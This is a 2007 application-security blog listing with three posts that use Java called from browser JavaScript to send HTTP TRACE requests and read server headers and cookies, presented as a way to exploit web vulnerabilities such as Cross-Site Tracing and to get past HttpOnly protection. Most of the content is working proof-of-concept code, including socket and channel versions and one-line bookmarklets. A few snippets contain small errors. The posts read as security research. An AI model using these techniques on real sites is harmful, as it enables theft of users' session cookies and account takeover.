Showing posts with label JAVA. Show all posts
Showing posts with label JAVA. Show all posts

Monday, May 07, 2007

Reading cookies from the server using Java

Last two posts have been about running TRACE on the host server.

Running TRACE on the server using Java from within the browser Part 1
http://myappsecurity.blogspot.com/2007/04/using-java-from-within-browsers.html

Running TRACE on the server using Java from within the browser Part 2
http://myappsecurity.blogspot.com/2007/05/running-trace-on-server-using-java-from.html

In this post, we will see how to read all the HTTP headers including cookies. Tested on Firefox 2.0 and jdk 1.4

1. Get the browser host name from the location bar. Assuming the port is 80.
var l = "http://" + document.location.host + "/";

2. Create a URL object to connect to the host.
var url = new java.net.URL(l);

3. Open the URL connection to the host.
var uc = url.openConnection();

4. Connect to the host.
uc.connect();

5. Read all the headers returned from the server including the Cookies and display them as javascript alert.
var i = 1;
var header_keys;
while((header_keys = uc.getHeaderFieldKey(i))!= null) {
alert(header_keys + "=" + uc.getHeaderField(i));
i++;
}

6. Close the URL Connection
uc.close();


Run it as a bookmarklet
javascript:var l = "http://" + document.location.host + "/";var url = new java.net.URL(l);var uc = url.openConnection();uc.connect();var i = 1;var header_keys;while((header_keys = uc.getHeaderFieldKey(i))!= null) {alert(header_keys + "=" + uc.getHeaderField(i));i++;}uc.close();

I am not sure if this will work for HttpOnly cookies but i would appreciate if someone could test this for HttpOnly cookies. I would be more then happy to walk them through, if they face any problems. You can reach me at anurag.agarwal__at__yahoo_dot_com

Running TRACE on the server using Java from within the browser Part 2

In the previous post on running TRACE on the server using java from within the browser, the approach was using java.net.Socket. In this approach, we are using java.net.UrlConnection


There are certain limitations with this approach
1.If the TRACE is disabled on the server, firefox will give PrivilegeException
2.It the HTTP is disabled on the web server then it will give PrivilegeException
3.It will run on FireFox only
4.Requires JDK 2 at least


1. Get the host name from the browser’s location bar. Assuming the port is 80.
var l = "http://" + document.location.host + "/";

2. Create a URL object
var url = new java.net.URL(l);

3. Open a URL Connection to the host.
var uc = url.openConnection();

4. Run the TRACE request on the host.
uc.setRequestMethod("TRACE");

5. Open an input stream to the read from the server.
var rd = new java.io.BufferedReader(new java.io.InputStreamReader(uc.getInputStream()));

6. Read the lines from the server and display them as javascript alert.
var lines = "";
while ((str = rd.readLine()) != null) {
lines += str + "\n";
}

alert(lines);

7. Close the stream.
rd.close();


Run it as a bookmarklet
javascript:var l = "http://" + document.location.host + "/";var url = new java.net.URL(l);var uc = url.openConnection();uc.setRequestMethod("TRACE");var rd = new java.io.BufferedReader(new java.io.InputStreamReader(uc.getInputStream()));var lines = "";while ((str = rd.readLine()) != null){ lines += str + "\n"; }alert(lines);rd.close();

Monday, April 30, 2007

Using Java from within browser's javascript to exploit web application vulnerabilities Part 1

Last weekend jeremiah showed me a code snippet where he was able to run TRACE method on a server using java from javascript. Though it was a little slow but it did the job. He asked me if there is a way to make it run faster. I did some work and using jdk1.4 API, I was able to get the job done a lot faster. I always knew that we can run java from javascript but it never crossed my mind that I can use it this way too. That is why, people like Jeremiah are so ahead in the game, because they have the ability to think differently.

In his post XST lives! (Bypassing HttpOnly) he has shown a proof of concept to exploit vulnerabilities in web applications.

The explanation here is (for the most part) the same as on his blog posting except for maybe a couple of extra points. But this exercise actually got me thinking and I want to make this a running thread and come up with more ideas of using java and javascript to figure out what else can be done.


Approach 1 (Traditional Approach using earlier versions of jdk)

Complete Code

var l = document.location;
var host =l.host.toString();
var port = 80;
var addr = new java.net.InetAddress.getByName(host);
var socket = new java.net.Socket(addr,port);
var wr = new java.io.BufferedWriter(new java.io.OutputStreamWriter(socket.getOutputStream(),"UTF8"));
var rd = new java.io.BufferedReader(new java.io.InputStreamReader(socket.getInputStream()));
wr.write("TRACE / HTTP/1.1 \n");
wr.write("Host: " + host + "\n");
wr.write("\n\r");wr.flush();
var lines = "";
while ((str = rd.readLine()) != null)
{ lines += str + "\n"; }
alert(lines);
wr.close();
rd.close();
socket.close();

Step by Step explanation of the code

1. Get the url on the browser’s address bar

var l = document.location;

2. Get the host name.

var host =l.host.toString();

3. Set the port to 80. We can also determine the port from the location bar

var port = 80;

4. Get the IP address of the host given the host name. The host name can either be a machine name, such as "java.sun.com", or a textual representation of its IP address. If a literal IP address is supplied, only the validity of the address format is checked.

var addr = new java.net.InetAddress.getByName(host);

5. Java.net.Socket creates a stream socket and connects it to the specified port number at the specified IP address.

var socket = new java.net.Socket(addr,port);

6. Open an output stream to send the request data to the server.

var wr = new java.io.BufferedWriter(newjava.io.OutputStreamWriter(socket.getOutputStream(),"UTF8"));

7. Open an input stream to read the response data from the server.

var rd = new java.io.BufferedReader(new java.io.InputStreamReader(socket.getInputStream()));

8. Send a trace request to the server.

wr.write("TRACE / HTTP/1.1 \n");
wr.write("Host: " + host + "\n");
wr.write("\n\r");

9. Flush the output stream so that there is no data left in the buffer.

wr.flush();

10. Read the response from the server until the readLine returns null which means the response is completed.

var lines = "";
while ((str = rd.readLine()) != null){ lines += str + "\n"; }

11. Display the lines using javascript alert function

alert(lines);

12. Close the input and output stream

wr.close();
rd.close();

13. Close the socket

Socket.close();


Approach 2

In the traditional way (like the approach mentioned above), you'd ask for the socket's input and/or output streams. The newer approach is using Channels. This approach is available with jdk1.4 or newer. With a channel you write directly to the channel itself. Rather than writing byte arrays, you read and write ByteBuffer objects. By default, this will read at least one byte or return -1 to indicate the end of the data, exactly as an InputStream does but it will often read more bytes if more bytes are available to be read.

Complete Code
var l = document.location;
var host =l.host.toString();
var port = 80;
var addr = new java.net.InetAddress.getByName(host);

var client = java.nio.channels.SocketChannel.open(new java.net.InetSocketAddress(host, port));
var line = "TRACE / HTTP/1.1 \nHost: " + host + "\n\r\n";
var s1 = new java.lang.String(line);

client.write(java.nio.ByteBuffer.wrap(s1.getBytes()));

var buffer = java.nio.ByteBuffer.allocate(8000);
client.read(buffer);
alert(new java.lang.String(buffer.array()));



Step by step explanation


//Same as in above approach
var l = document.location;
var host =l.host.toString();
var port = 80;
var addr = new java.net.InetAddress.getByName(host);

1. Create a SocketChannel

var client = java.nio.channels.SocketChannel.open(new java.net.InetSocketAddress(host, port));

2. Create a java string object so that it can be converted to byte array.

var line = "TRACE / HTTP/1.1 \nHost: " + host + "\n\r\n";
var s1 = new java.lang.String(line);

3. Wrap the data into a ByteBuffer object. Send the buffer to the server.

client.write(java.nio.ByteBuffer.wrap(s1.getBytes()));

4. Allocate a ByteBuffer object to read the data from the server. The advantage of using ByteBuffer is that it will read more bytes at the same time instead of reading one byte at a time.

var buffer = java.nio.ByteBuffer.allocate(8000);

5. Read the data from the server. If the data is more then the allocated bytes then use a while loop

client.read(buffer);

6. Display the response using javascript alert function

alert(new java.lang.String(buffer.array()));

If there is more data then allocated (like 8000 bytes here). Use the following code snippet

while (client.read(buffer) != -1) {

buffer.flip( );

out.write(buffer);

buffer.clear( );

}


The difference between the first and the second approach is the first approach is slower then the second approach. The first approach, however, will be more compatible across OSes since it uses earlier versions of jdk whereas the newer approach might not.

I will publish other things soon which I found out while doing this exercise.